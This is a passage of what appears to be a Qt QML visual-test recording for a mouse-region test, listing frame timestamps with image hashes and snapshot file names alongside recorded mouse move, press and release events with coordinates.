Frame { - msec: 5200 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 239; y: 24 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 242; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5216 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 244; y: 25 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 245; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5232 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 247; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5248 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5264 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5280 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5296 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5312 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5328 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5344 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5360 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5376 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5392 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5408 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5424 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5440 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5456 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5472 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5488 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5504 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5520 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5536 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5552 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5568 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5584 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5600 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5616 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5632 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5648 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5664 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5680 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5696 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5712 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5728 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5744 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5760 - image: "mouseregion.5.png" - } - Frame { - msec: 5776 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5792 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5808 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5824 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5840 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 247; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5856 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5872 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5888 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5904 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5920 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5936 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 247; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 5952 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5968 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 5984 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6000 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6016 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6032 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6048 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6064 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6080 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6096 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6112 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6128 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6144 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6160 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6176 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6192 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6208 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6224 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6240 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6256 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6272 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6288 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6304 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6320 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6336 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6352 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6368 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6384 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6400 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6416 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6432 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6448 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6464 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6480 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6496 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6512 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6528 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6544 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6560 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6576 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 247; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6592 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6608 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6624 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6640 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 247; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6656 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6672 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6688 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6704 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6720 - image: "mouseregion.6.png" - } - Frame { - msec: 6736 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 4 - button: 1 - buttons: 1 - x: 247; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6752 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6768 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6784 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6800 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6816 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6832 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 247; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 6848 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6864 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6880 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6896 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6912 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6928 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6944 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6960 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6976 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 6992 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7008 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7024 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7040 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7056 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7072 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7088 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7104 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7120 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7136 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7152 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7168 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7184 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7200 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 247; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 7216 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7232 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7248 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7264 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7280 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7296 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7312 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7328 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7344 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7360 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7376 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7392 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7408 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7424 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7440 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7456 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7472 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7488 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7504 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7520 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7536 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7552 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7568 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7584 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7600 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7616 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7632 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7648 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7664 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7680 - image: "mouseregion.7.png" - } - Frame { - msec: 7696 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7712 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7728 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7744 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7760 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7776 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7792 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7808 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7824 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7840 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7856 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7872 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7888 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7904 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7920 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7936 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7952 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7968 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 7984 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 8000 - hash: "12edb0902e4d480c9052b00edc1a0a42" - } - Frame { - msec: 8016 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8032 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8048 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8064 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8080 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8096 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8112 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8128 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8144 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8160 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8176 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8192 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8208 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8224 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8240 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8256 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8272 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8288 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8304 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8320 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8336 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 247; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8352 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8368 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8384 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8400 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8416 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8432 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8448 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8464 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8480 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8496 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8512 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8528 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 248; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8544 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 254; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 259; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8560 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 264; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 268; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8576 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 273; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 277; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8592 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 281; y: 24 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 284; y: 24 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8608 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 287; y: 24 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 289; y: 24 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8624 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 292; y: 24 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8640 - image: "mouseregion.8.png" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 294; y: 24 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 295; y: 24 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8656 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 297; y: 24 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 299; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8672 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 301; y: 25 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 304; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8688 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 307; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8704 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 310; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 312; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8720 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 314; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 315; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8736 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 317; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 318; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8752 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 319; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8768 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 320; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8784 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 322; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 323; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8800 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 325; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 327; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8816 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 330; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 333; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8832 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 336; y: 26 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 338; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8848 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 339; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8864 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 340; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8880 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 8896 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 340; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 8912 - hash: "d1f2fc2133f3d6554e41982196662c2a" - } - Frame { - msec: 8928 - hash: "d1f2fc2133f3d6554e41982196662c2a" - } - Frame { - msec: 8944 - hash: "d1f2fc2133f3d6554e41982196662c2a" - } - Frame { - msec: 8960 - hash: "d1f2fc2133f3d6554e41982196662c2a" - } - Frame { - msec: 8976 - hash: "d1f2fc2133f3d6554e41982196662c2a" - } - Frame { - msec: 8992 - hash: "d1f2fc2133f3d6554e41982196662c2a" - } - Mouse { - type: 3 - button: 1 - buttons: 0 - x: 340; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9008 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9024 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9040 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9056 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9072 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9088 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9104 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9120 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9136 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9152 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9168 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9184 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9200 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9216 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9232 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9248 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9264 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9280 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9296 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9312 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9328 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9344 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9360 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9376 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9392 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9408 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9424 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9440 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9456 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9472 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9488 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9504 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9520 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9536 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9552 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9568 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9584 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Frame { - msec: 9600 - image: "mouseregion.9.png" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 339; y: 26 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9616 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 336; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9632 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 332; y: 25 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 326; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9648 - hash: "194ebac4ae7d95bf427f8161885a13e1" - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 320; y: 25 - modifiers: 0 - sendToViewport: true - } - Mouse { - type: 5 - button: 0 - buttons: 0 - x: 312; y: 25 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 9664 - hash: "194ebac4ae7d95bf427f8161885a13e1" - 